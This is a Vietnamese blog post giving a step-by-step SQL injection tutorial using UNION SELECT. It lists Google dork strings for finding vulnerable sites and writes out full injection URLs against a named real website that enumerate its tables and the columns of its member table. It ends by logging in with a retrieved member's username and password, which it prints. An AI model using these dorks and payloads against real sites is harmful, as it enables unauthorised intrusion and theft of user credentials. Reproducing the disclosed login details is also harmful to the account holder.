Thứ Tư, 7 tháng 12, 2016

TẤN CÔNG SQL INJECTION - PHẦN 1

TẤN CÔNG SQL INJECTION - PHẦN 1

SỬ DỤNG LỆNH SELECT UNION

SQL injection là kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng Web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa bỏ,hiệu chỉnh,…trên cơ sở dữ liệu của ứng dụng.Lỗi này thường xảy ra trên các ứng dụng Web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server,MySQL,Oracle,DB2, Sysbase.
Có 4 dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT và sử dụng các stored-procedures. Trong bài viết này giới thiệu về kịch bản tấn công sử dụng lệnh "select union" bằng công cụ Hack Bar trên trình duyệt Firefox.

Ø  Bước 1.1: Tìm trang web có lỗi SQL Injection Select Union.

-     Tại bước này ta thường dùng cách tìm kiếm rà soát mục tiêu qua Google bằng các từ khóa tìm kiếm bởi các Dork lỗi của Injection như:

Google Dork chuỗi Cột 1 Google Dork chuỗi Cột 2 Google Dork chuỗi Cột 3
inurl: item_id = inurl:? id = review.php inurl:? id = hosting_info.php
inurl: NewSID = inurl: iniziativa.php trong =? inurl:? id = gallery.php
inurl:? id = trainers.php inurl:? id = curriculum.php inurl: rub.php IDR =
inurl:? id tin tức-full.php = inurl:? id = labels.php inurl:? id = view_faq.php
inurl: news_display.php getId = inurl:? id = story.php inurl:? id = artikelinfo.php
inurl: index2.php option = inurl: ID look.php = inurl: ID detail.php =
inurl:? id = readnews.php inurl:? id = newsone.php inurl: index.php =
inurl: top10.php cat = inurl:? id = aboutbook.php inurl:? id = profile_view.php
inurl:? id = newsone.php inurl:? id = material.php inurl:? id = category.php
inurl:? id = event.php inurl:? id = opinions.php inurl:? id = publications.php
inurl:? id sản phẩm item.php = inurl:? id = announce.php inurl:? id = fellows.php
inurl:? id = sql.php inurl: rub.php IDR = inurl:? id = downloads_info.php
inurl: index.php CatID = inurl: galeri_info.php l = inurl:? id = prod_info.php
inurl: news.php CatID = inurl: tekst.php IDT = inurl: shop.php làm = phần & id =
inurl:? id = index.php inurl:? id = newscat.php inurl:? id = productinfo.php




Ø  Bước 1.2: Lựa chọn các kết quả tìm kiếm và check lỗi Injection select union có hay không?

-          Ví dụ ta chọn link: http://vnbarcode.com/?php=product_detail&id=316
-          Ta check bằng cách thêm dấu nháy ‘ vào cuối link của trang web: http://vnbarcode.com/?php=product_detail&id=316’
·         Nếu kết quả sau Execute vẫn hiện nội dung bình thường thì web đó không có lỗi injection.
·         Nếu kết quả sau Execute bị lỗi hiển thị nội dung thì web đó có lỗi injection.
ð  Trong trường hợp này trang web đã chọn có lỗi injection.


Ø  Bước 2: Sử dụng câu lệnh order by để kiểm tra số cột dữ liệu của trang web

-          Tại bước này ta nhập các giá trị cột ngẫu nhiên dự đoán và kiểm tra nội dung dữ liệu hiển thị.
·         Nếu dữ liệu hiển thị bình thường thì số cột lựa chọn đó nhỏ hơn hoặc bằng số cột thực tế của cơ sở dữ liệu.
·         Nếu dữ liệu lỗi hoặc không hiển thị thì số cột ta lựa chọn lớn hơn số cột thực tế của cơ sở dữ liệu.



Order by 20 dữ liệu vẫn bình thường.



Order by 21 thì dữ liệu lỗi.
ð  Dữ liệu của trang web này có 20 cột.

Ø  Bước 3: Kiểm tra cột bị lỗi qua câu lệnh “select union”

http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20—
Sau khi thực hiện Execute thì hiện ra kết quả báo lỗi ở cột 5 và cột 8.



Vậy ta sẽ khai thác dữ liệu từ 2 cột lỗi này. Ta có thể chọn bất kì cột nào trong số cột lỗi, ở đây ta chọn cột 5.

Ø  Bước 4: Thử khai thác một số thông tin của Database từ vị trí cột lỗi

-          Ví dụ ta thử xem một số thông tin về version, tên database và tên quản trị database bằng cách thay thế các câu lệnh sau lần lượt vào vị trí cột bị lỗi (cột 5): version(), database(), user().
ð  Kết quả được: Version: 5.0.51a-community, tên database: vnbarcodec_ha, tên tài khoản đăng nhập quản trị: vnbarcodec_ha@localhost.



Ø  Bước 5: Lấy thông  tin từ database

Ø  Bước 5.1: Lấy thông tin tên các bảng có trong database:

-          Chúng ta cần thực hiện truy vấn để trả về thông tin bảng từ bảng trong CSDL
·         Sử dụng lệnh - unhex(hex(group_concat(table_name))) để lấy giá trị (chèn vào cột lỗi)
·         FROM information_schema.tables WHERE table_schema=database()-- đây là nơi lấy giá trị là database.
Link: http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,unhex(hex(group_concat(table_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM information_schema.tables WHERE table_schema=database()—
Ø  Kết quả trả về là tên các bảng của database: tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_product,tbl_product_category,tbl_product_download,tbl_product_new,tbl_product_special,tbl_product_top,tbl_support,tbl_support_category,tbl_user,tbl_visitor.



Ø  Bước 5.2: Khai thác dữ liệu từ bảng tbl_member.

Tương tự việc truy vấn dữ liệu tên bảng trong database, giờ ta truy vấn dữ liệu để lấy tên các cột có trong bảng tbl_member. Lúc này cần thay một số vị trí lệnh truy vấn như table_name thành column_name, table_schema thành table_name, schema.tables thành schema.columns và cần đổi tên tbl_member sang mã hex char để truy xuất data nhanh và chuẩn hơn.
Link: http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,unhex(hex(group_concat(column_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM information_schema.columns WHERE table_name=CHAR(116, 98, 108, 95, 109, 101, 109, 98, 101, 114)—

-          Kết quả ta được tên các bảng: member_id, member_name, member_sex, member_address, member_tel, member_fax, member_email, member_logo, member_website, member_yahoo, member_skype, uid, pwd, member_sort, member_status, member_date_added, ember_last_modified, member_detail.


Ø  Bước 6: Lấy thông tin đăng nhập và kết thúc tấn công.

-          Ta thử lấy một thông tin tài khoản và tiến hành đăng nhập
-          Ví dụ: tài khoản có username là phanluongha, password là phanluongha và id là 16.


Kết quả: Đăng nhập thành công!



Kết thúc tấn công!


Video demo thực hiện tấn công:


Không có nhận xét nào: